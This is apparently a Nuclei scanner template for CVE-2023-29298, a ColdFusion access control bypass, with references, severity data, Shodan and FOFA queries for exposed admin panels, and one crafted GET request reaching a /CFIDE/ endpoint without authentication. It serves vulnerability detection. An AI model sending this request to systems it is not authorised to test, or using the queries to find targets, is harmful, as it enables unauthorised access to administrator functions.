id: CVE-2023-29298

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch
  severity: high
  description: |
    An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Apply the latest security patches or updates provided by Adobe to fix the access control bypass vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/XRSec/AWVS-Update
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29298
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.9429
    epss-percentile: 0.99943
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and
# digest: 4a0a00473045022022f14f910452bb03eca8d47ed407183374c4eb7604061f6e8814829da397d492022100b742aeef5336214e5de4ab7e011f98e10c5ee6ae50d49ac14eae5cbbdf62d66c:922c64590222798bb761d5b6d8e72950